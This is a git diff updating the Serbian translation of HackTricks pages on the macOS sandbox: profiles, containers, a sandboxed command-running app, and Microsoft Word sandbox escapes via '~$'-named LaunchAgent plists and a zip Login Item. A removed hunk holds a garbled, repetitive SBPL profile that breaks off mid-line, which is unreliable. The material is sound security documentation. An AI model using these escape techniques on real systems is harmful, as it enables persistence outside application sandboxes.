unutar sandboxes. -Da bi se kontrolisalo šta proces može ili ne može da radi, **Pesak ima kuke** u svim **sistemskim pozivima** širom jezgra. **Zavisno** o **ovlašćenjima** aplikacije, Pesak će **dozvoliti** određene akcije. +Da bi se kontrolisalo šta proces može ili ne može da radi, **Sandbox ima hook-ove** u svim **syscalls** kroz kernel. **U zavisnosti** od **entitlements** aplikacije, Sandbox će **dozvoliti** određene radnje. -Neki važni komponenti Peska su: +Neki važni sastavni delovi Sandbox-a su: -* **Kernel ekstenzija** `/System/Library/Extensions/Sandbox.kext` -* **Privatni okvir** `/System/Library/PrivateFrameworks/AppSandbox.framework` -* **Demon** koji se izvršava u korisničkom prostoru `/usr/libexec/sandboxd` -* **Kontejneri** `~/Library/Containers` +* **kernel ekstenzija** `/System/Library/Extensions/Sandbox.kext` +* **privatni framework** `/System/Library/PrivateFrameworks/AppSandbox.framework` +* **daemon** koji se izvršava u userland-u `/usr/libexec/sandboxd` +* **kontejneri** `~/Library/Containers` -Unutar foldera kontejnera možete pronaći **folder za svaku aplikaciju koja se izvršava u pesku** sa imenom identifikatora paketa (bundle id): +Unutar foldera kontejnera možete pronaći **folder za svaku aplikaciju izvršenu u sandbox-u** sa imenom bundle id-a: ```bash ls -l ~/Library/Containers total 0 @@ -40,7 +41,7 @@ drwx------@ 4 username staff 128 Mar 25 14:14 com.apple.Accessibility-Settings drwx------@ 4 username staff 128 Mar 25 14:10 com.apple.ActionKit.BundledIntentHandler [...] ``` -Unutar svake fascikle sa identifikacijom paketa možete pronaći **plist** i **Data direktorijum** aplikacije: +Unutar svake fascikle sa bundle id možete pronaći **plist** i **Data directory** aplikacije: ```bash cd /Users/username/Library/Containers/com.apple.Safari ls -la @@ -64,7 +65,7 @@ drwx------ 2 username staff 64 Mar 24 18:02 SystemData drwx------ 2 username staff 64 Mar 24 18:02 tmp ``` {% hint style="danger" %} -Imajte na umu da čak i ako su simboličke veze tu da "pobegnu" iz Sandbox-a i pristupe drugim fasciklama, aplikacija i dalje mora **imati dozvole** da im pristupi. Ove dozvole se nalaze unutar **`.plist`** fajla. +Imajte na umu da čak i ako su simboličke veze tu da "pobegnu" iz Sandbox-a i pristupe drugim folderima, aplikacija i dalje mora **imati dozvole** da im pristupi. Ove dozvole su unutar **`.plist`**. {% endhint %} ```bash # Get permissions @@ -114,12 +115,12 @@ AAAhAboBAAAAAAgAAABZAO4B5AHjBMkEQAUPBSsGPwsgASABHgEgASABHwEf... [...] ``` {% hint style="warning" %} -Sve što je kreirano/izmenjeno od strane aplikacije u pesku će dobiti **atribut karantina**. Ovo će sprečiti prostor peska da pokrene Gatekeeper ako aplikacija u pesku pokuša da izvrši nešto sa **`open`**. +Sve što kreira/menja aplikacija u Sandbox-u dobiće **atribut karantina**. To će sprečiti prostor sandboksovanja aktiviranjem Gatekeeper-a ako aplikacija u sandboksu pokuša da izvrši nešto sa **`open`**. {% endhint %} -### Profili peska +### Sandbox Profili -Profil peska su konfiguracioni fajlovi koji ukazuju šta će biti **dozvoljeno/zabranjeno** u tom **pesku**. Koristi se jezik profila peska (SBPL), koji koristi [**Scheme**](https://en.wikipedia.org/wiki/Scheme\_\(programming\_language\)) programski jezik. +Sandbox profili su konfiguracione datoteke koje označavaju šta će biti **dozvoljeno/zabranjeno** u tom **Sandbox-u**. Koristi **Sandbox Profile Language (SBPL)**, koja koristi [**Scheme**](https://en.wikipedia.org/wiki/Scheme\_\(programming\_language\)) programski jezik. Ovde možete pronaći primer: ```scheme @@ -140,100 +141,28 @@ Ovde možete pronaći primer: ) ``` {% hint style="success" %} -Pogledajte ovaj [**istraživački rad**](https://reverse.put.as/2011/09/14/apple-sandbox-guide-v1-0/) **da biste proverili više akcija koje mogu biti dozvoljene ili odbijene.** +Proverite ovo [**istraživanje**](https://reverse.put.as/2011/09/14/apple-sandbox-guide-v1-0/) **da biste proverili više akcija koje mogu biti dozvoljene ili zabranjene.** {% endhint %} -Važne **sistemske usluge** takođe se izvršavaju unutar svojih sopstvenih prilagođenih **sandbox-ova**, kao što je `mdnsresponder` usluga. Ove prilagođene **sandbox profile** možete videti unutar: +Važne **sistemske usluge** takođe rade unutar svojih prilagođenih **sandbox**-a, kao što je usluga `mdnsresponder`. Možete pregledati ove prilagođene **sandbox profile** unutar: * **`/usr/share/sandbox`** * **`/System/Library/Sandbox/Profiles`** -* Ostali sandbox profili mogu se proveriti na [https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles](https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles). +* Ostale sandbox profile možete proveriti na [https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles](https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles). -Aplikacije iz **App Store-a** koriste profil **`/System/Library/Sandbox/Profiles/application.sb`**. U ovom profilu možete proveriti kako ovlašćenja poput **`com.apple.security.network.server`** omogućavaju procesu korišćenje mreže. +**App Store** aplikacije koriste **profil** **`/System/Library/Sandbox/Profiles/application.sb`**. Možete proveriti u ovom profilu kako ovlašćenja kao što je **`com.apple.security.network.server`** omogućavaju procesu da koristi mrežu. SIP je Sandbox profil nazvan platform\_profile u /System/Library/Sandbox/rootless.conf ### Primeri Sandbox Profila -Da biste pokrenuli aplikaciju sa **određenim sandbox profilom**, možete koristiti: +Da biste pokrenuli aplikaciju sa **specifičnim sandbox profilom**, možete koristiti: ```bash sandbox-exec -f example.sb /Path/To/The/Application ``` +{% tabs %} +{% tab title="touch" %} {% code title="touch.sb" %} - -```plaintext -(version 1) -(deny default) -(allow file-read-metadata) -(allow file-write-metadata) -(allow file-read-data (literal "/private/var/tmp/")) -(allow file-write-data (literal "/private/var/tmp/")) -(allow file-read-data (regex #"^/private/var/folders/[^/]+/[^/]+/[C,T]/")) -(allow file-write-data (regex #"^/private/var/folders/[^/]+/[^/]+/[C,T]/")) -(allow file-read-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/")) -(allow file-write-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/")) -(allow file-read-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/T/")) -(allow file-write-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/T/")) -(allow file-read-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/C/")) -(allow file-write-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/C/")) -(allow file-read-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/C/T/")) -(allow file-write-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/C/T/")) -(allow file-read-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/T/C/")) -(allow file-write-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/T/C/")) -(allow file-read-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/C/C/")) -(allow file-write-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/C/C/")) -(allow file-read-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/T/T/")) -(allow file-write-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/T/T/")) -(allow file-read-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/C/T/T/")) -(allow file-write-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/C/T/T/")) -(allow file-read-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/T/C/T/")) -(allow file-write-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/T/C/T/")) -(allow file-read-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/C/C/T/")) -(allow file-write-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/C/C/T/")) -(allow file-read-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/T/T/C/")) -(allow file-write-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/T/T/C/")) -(allow file-read-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/C/T/C/")) -(allow file-write-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/C/T/C/")) -(allow file-read-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/C/C/C/")) -(allow file-write-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/C/C/C/")) -(allow file-read-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/T/T/T/")) -(allow file-write-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/T/T/T/")) -(allow file-read-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/C/T/T/")) -(allow file-write-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/C/T/T/")) -(allow file-read-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/T/C/T/")) -(allow file-write-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/T/C/T/")) -(allow file-read-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/C/C/T/")) -(allow file-write-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/C/C/T/")) -(allow file-read-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/T/T/C/")) -(allow file-write-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/T/T/C/")) -(allow file-read-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/C/T/C/")) -(allow file-write-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/C/T/C/")) -(allow file-read-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/C/C/C/")) -(allow file-write-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/C/C/C/")) -(allow file-read-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/T/T/T/C/")) -(allow file-write-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/T/T/T/C/")) -(allow file-read-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/C/T/T/C/")) -(allow file-write-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/C/T/T/C/")) -(allow file-read-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/T/C/T/C/")) -(allow file-write-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/T/C/T/C/")) -(allow file-read-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/C/C/T/C/")) -(allow file-write-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/C/C/T/C/")) -(allow file-read-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/C/T/C/C/")) -(allow file-write-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/C/T/C/C/")) -(allow file-read-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/C/C/C/C/")) -(allow file-write-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/C/C/C/C/")) -(allow file-read-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/T/T/T/T/")) -(allow file-write-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/T/T/T/T/")) -(allow file-read-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/C/T/T/T/")) -(allow file-write-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/C/T/T/T/")) -(allow file-read-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/T/C/T/T/")) -(allow file-write-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/T/C/T/T/")) -(allow file-read-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/C/C/T/T/")) -(allow file-write-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/C/C/T/T/")) -(allow file-read-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/T/T/C/T/")) -(allow file-write-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/T/T/C/T/")) -(allow file-read-data (literal "/private/var/folders/[^/]+/[^/]+/[^/]+/C/T/C/T/")) -(allow file-write-data (literal "/private/var/folders/[^/]+/[^/]+/[^/ ```scheme (version 1) (deny default) @@ -266,6 +195,8 @@ log show --style syslog --predicate 'eventMessage contains[c] "sandbox"' --last ; 2023-05-26 13:44:59.840050+0200 localhost kernel[0]: (Sandbox) Sandbox: touch(41575) deny(1) sysctl-read kern.bootargs ; 2023-05-26 13:44:59.840061+0200 localhost kernel[0]: (Sandbox) Sandbox: touch(41575) deny(1) file-read-data / ``` +{% endcode %} + {% code title="touch3.sb" %} ```scheme (version 1) @@ -280,50 +211,50 @@ log show --style syslog --predicate 'eventMessage contains[c] "sandbox"' --last {% endtabs %} {% hint style="info" %} -Napomena da **Apple-ov** **softver** koji se pokreće na **Windowsu** **nema dodatne sigurnosne mere**, kao što je sandboxing aplikacija. +Napomena da **Apple-ov** **softver** koji radi na **Windows-u** **nema dodatne bezbednosne mere**, kao što je sandboxing aplikacija. {% endhint %} Primeri zaobilaženja: * [https://lapcatsoftware.com/articles/sandbox-escape.html](https://lapcatsoftware.com/articles/sandbox-escape.html) -* [https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c) (mogu da pišu datoteke van sandboxa čije ime počinje sa `~$`). +* [https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c) (mogu da pišu datoteke van sandbox-a čije ime počinje sa `~$`). -### Profili macOS Sandbox-a +### MacOS Sandbox Profili -macOS čuva sistemske profile sandbox-a na dve lokacije: **/usr/share/sandbox/** i **/System/Library/Sandbox/Profiles**. +macOS čuva sistemske sandbox profile na dve lokacije: **/usr/share/sandbox/** i **/System/Library/Sandbox/Profiles**. -Ako treća strana aplikacija ima _**com.apple.security.app-sandbox**_ privilegiju, sistem primenjuje profil **/System/Library/Sandbox/Profiles/application.sb** na taj proces. +I ako treća strana aplikacija nosi _**com.apple.security.app-sandbox**_ pravo, sistem primenjuje **/System/Library/Sandbox/Profiles/application.sb** profil na taj proces. ### **iOS Sandbox Profil** -Podrazumevani profil se naziva **container** i nemamo SBPL tekstualnu reprezentaciju. U memoriji, ovaj sandbox je predstavljen kao binarno stablo Dozvoli/Odbij za svaku dozvolu iz sandbox-a. +Podrazumevani profil se zove **container** i nemamo SBPL tekstualnu reprezentaciju. U memoriji, ovaj sandbox je predstavljen kao binarno stablo Dozvoli/Zabranjeno za svaku dozvolu iz sandbox-a. -### Debugiranje i zaobilaženje Sandbox-a +### Debug & Zaobilaženje Sandbox-a -Na macOS-u, za razliku od iOS-a gde su procesi od početka sandbox-ovani od strane jezgra, **procesi moraju sami da se odluče za sandbox**. To znači da na macOS-u, proces nije ograničen sandbox-om sve dok aktivno ne odluči da uđe u njega. +Na macOS-u, za razliku od iOS-a gde su procesi sandbox-ovani od samog početka od strane jezgra, **procesi moraju sami da se prijave za sandbox**. To znači da na macOS-u, proces nije ograničen sandbox-om dok aktivno ne odluči da uđe u njega. -Procesi automatski dobijaju Sandbox kada se pokrenu iz korisničkog prostora ako imaju privilegiju: `com.apple.security.app-sandbox`. Za detaljno objašnjenje ovog procesa pogledajte: +Procesi se automatski sandbox-uju iz korisničkog prostora kada počnu ako imaju pravo: `com.apple.security.app-sandbox`. Za detaljno objašnjenje ovog procesa pogledajte: {% content-ref url="macos-sandbox-debug-and-bypass/" %} [macos-sandbox-debug-and-bypass](macos-sandbox-debug-and-bypass/) {% endcontent-ref %} -### **Provera privilegija PID-a** +### **Proveri PID Privilegije** -[**Prema ovome**](https://www.youtube.com/watch?v=mG715HcDgO8\&t=3011s), **`sandbox_check`** (to je `__mac_syscall`), može proveriti **da li je operacija dozvoljena ili ne** od strane sandbox-a za određeni PID. +[**Prema ovome**](https://www.youtube.com/watch?v=mG715HcDgO8\&t=3011s), **`sandbox_check`** (to je `__mac_syscall`), može da proveri **da li je operacija dozvoljena ili ne** od strane sandbox-a u određenom PID-u. -Alatka [**sbtool**](http://newosxbook.com/src.jl?tree=listings\&file=sbtool.c) može proveriti da li PID može izvršiti određenu radnju: +[**alat sbtool**](http://newosxbook.com/src.jl?tree=listings\&file=sbtool.c) može da proveri da li PID može da izvrši određenu akciju: ```bash sbtool mach #Check mac-ports (got from launchd with an api) sbtool file /tmp #Check file access sbtool inspect #Gives you an explaination of the sandbox profile sbtool all ``` -### Prilagođeni SBPL u aplikacijama App Store-a +### Custom SBPL u aplikacijama iz App Store-a -Moguće je da kompanije svoje aplikacije pokreću **sa prilagođenim Sandbox profilima** (umesto sa podrazumevanim). Za to je potrebno koristiti privilegiju **`com.apple.security.temporary-exception.sbpl`** koju mora odobriti Apple. +Moguće je da kompanije pokreću svoje aplikacije **sa prilagođenim Sandbox profilima** (umesto sa podrazumevanim). Potrebno je koristiti pravo **`com.apple.security.temporary-exception.sbpl`** koje mora biti odobreno od strane Apple-a. -Moguće je proveriti definiciju ove privilegije u **`/System/Library/Sandbox/Profiles/application.sb:`** +Moguće je proveriti definiciju ovog prava u **`/System/Library/Sandbox/Profiles/application.sb:`** ```scheme (sandbox-array-entitlement "com.apple.security.temporary-exception.sbpl" @@ -331,18 +262,19 @@ Moguće je proveriti definiciju ove privilegije u **`/System/Library/Sandbox/Pro (let* ((port (open-input-string string)) (sbpl (read port))) (with-transparent-redirection (eval sbpl))))) ``` -Ovo će **proceniti string nakon ovog ovlašćenja** kao Sandbox profil. +Ovo će **evalirati string nakon ovog prava** kao Sandbox profil. + +{% hint style="success" %} +Učite i vežbajte AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Učite i vežbajte GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! +Podržite HackTricks -Drugi načini podrške HackTricks-u: - -* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! -* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) -* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume. +* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)! +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-default-sandbox-debug.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-default-sandbox-debug.md index 83e86131f..c3ddfbcda 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-default-sandbox-debug.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-default-sandbox-debug.md @@ -1,20 +1,21 @@ -# Debugiranje podrazumevane peskaže na macOS-u +# macOS Default Sandbox Debug + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! +Support HackTricks -Drugi načini podrške HackTricks-u: - -* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu**, proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! -* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) -* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} -Na ovoj stranici možete saznati kako da napravite aplikaciju koja pokreće proizvoljne komande iznutra podrazumevane peskaže na macOS-u: +Na ovoj stranici možete pronaći kako da kreirate aplikaciju za pokretanje proizvoljnih komandi iz unutrašnjosti podrazumevanog macOS sandbox-a: 1. Kompajlirajte aplikaciju: @@ -74,7 +75,7 @@ cat << EOF > SandboxedShellApp.app/Contents/Info.plist EOF ``` -3. Definišite privilegije +3. Definišite prava {% tabs %} {% tab title="sandbox" %} @@ -110,7 +111,7 @@ EOF {% endtab %} {% endtabs %} -4. Potpišite aplikaciju (morate kreirati sertifikat u kešu ključeva) +4. Potpišite aplikaciju (treba da kreirate sertifikat u ključanici) ```bash codesign --entitlements entitlements.plist -s "YourIdentity" SandboxedShellApp.app ./SandboxedShellApp.app/Contents/MacOS/SandboxedShellApp @@ -118,16 +119,17 @@ codesign --entitlements entitlements.plist -s "YourIdentity" SandboxedShellApp.a # An d in case you need this in the future codesign --remove-signature SandboxedShellApp.app ``` +{% hint style="success" %} +Učite i vežbajte AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Učite i vežbajte GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! +Podržite HackTricks -Drugi načini podrške HackTricks-u: - -* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! -* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) -* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume. +* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)! +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/macos-office-sandbox-bypasses.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/macos-office-sandbox-bypasses.md index 19243ee84..21121e4f4 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/macos-office-sandbox-bypasses.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/macos-office-sandbox-bypasses.md @@ -1,73 +1,78 @@ -# Bypassi za macOS Office Sandbox +# macOS Office Sandbox Bypasses + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! +Support HackTricks -Drugi načini podrške HackTricks-u: - -* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) -* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} -### Bypass Sandbox-a u Word-u putem Launch Agents +### Word Sandbox bypass via Launch Agents -Aplikacija koristi **prilagođeni Sandbox** koristeći privilegiju **`com.apple.security.temporary-exception.sbpl`** i ovaj prilagođeni sandbox omogućava pisanje fajlova bilo gde, sve dok ime fajla počinje sa `~$`: `(require-any (require-all (vnode-type REGULAR-FILE) (regex #"(^|/)~$[^/]+$")))` +Aplikacija koristi **prilagođeni Sandbox** koristeći pravo **`com.apple.security.temporary-exception.sbpl`** i ovaj prilagođeni sandbox omogućava pisanje fajlova bilo gde sve dok ime fajla počinje sa `~$`: `(require-any (require-all (vnode-type REGULAR-FILE) (regex #"(^|/)~$[^/]+$")))` -Stoga, izbegavanje je bilo jednostavno kao **pisanje `plist`** LaunchAgent-a u `~/Library/LaunchAgents/~$escape.plist`. +Stoga, bekstvo je bilo lako kao **pisanje `plist`** LaunchAgent-a u `~/Library/LaunchAgents/~$escape.plist`. -Pogledajte [**originalni izveštaj ovde**](https://www.mdsec.co.uk/2018/08/escaping-the-sandbox-microsoft-office-on-macos/). +Check the [**original report here**](https://www.mdsec.co.uk/2018/08/escaping-the-sandbox-microsoft-office-on-macos/). -### Bypass Sandbox-a u Word-u putem Login stavki i zip-a +### Word Sandbox bypass via Login Items and zip -Zapamtite da od prvog bekstva, Word može pisati proizvoljne fajlove čije ime počinje sa `~$`, iako nakon zakrpe prethodne ranjivosti nije bilo moguće pisati u `/Library/Application Scripts` ili u `/Library/LaunchAgents`. +Zapamtite da iz prvog bekstva, Word može pisati proizvoljne fajlove čija imena počinju sa `~$` iako nakon zakrpe prethodne ranjivosti nije bilo moguće pisati u `/Library/Application Scripts` ili u `/Library/LaunchAgents`. -Otkriveno je da je iz sandbox-a moguće kreirati **Login stavku** (aplikacije koje će se izvršiti kada se korisnik prijavi). Međutim, ove aplikacije **neće se izvršiti osim ako** nisu **notarizovane** i nije moguće dodati argumente (tako da ne možete pokrenuti reverznu ljusku koristeći **`bash`**). +Otkriveno je da je iz sandbox-a moguće kreirati **Login Item** (aplikacije koje će se izvršiti kada se korisnik prijavi). Međutim, ove aplikacije **neće se izvršiti osim ako** nisu **notarizovane** i **nije moguće dodati argumente** (tako da ne možete samo pokrenuti reverznu ljusku koristeći **`bash`**). -Od prethodnog bypass-a Sandbox-a, Microsoft je onemogućio opciju pisanja fajlova u `~/Library/LaunchAgents`. Međutim, otkriveno je da ako stavite **zip fajl kao Login stavku**, `Archive Utility` će ga samo **otpakovati** na trenutnoj lokaciji. Dakle, pošto podrazumevano folder `LaunchAgents` iz `~/Library` nije kreiran, bilo je moguće **zapakovati plist u `LaunchAgents/~$escape.plist`** i **postaviti** zip fajl u **`~/Library`** tako da će prilikom dekompresije stići do odredišta trajnosti. +Iz prethodnog Sandbox zaobilaženja, Microsoft je onemogućio opciju pisanja fajlova u `~/Library/LaunchAgents`. Međutim, otkriveno je da ako stavite **zip fajl kao Login Item**, `Archive Utility` će jednostavno **raspakovati** na trenutnoj lokaciji. Dakle, pošto po defaultu folder `LaunchAgents` iz 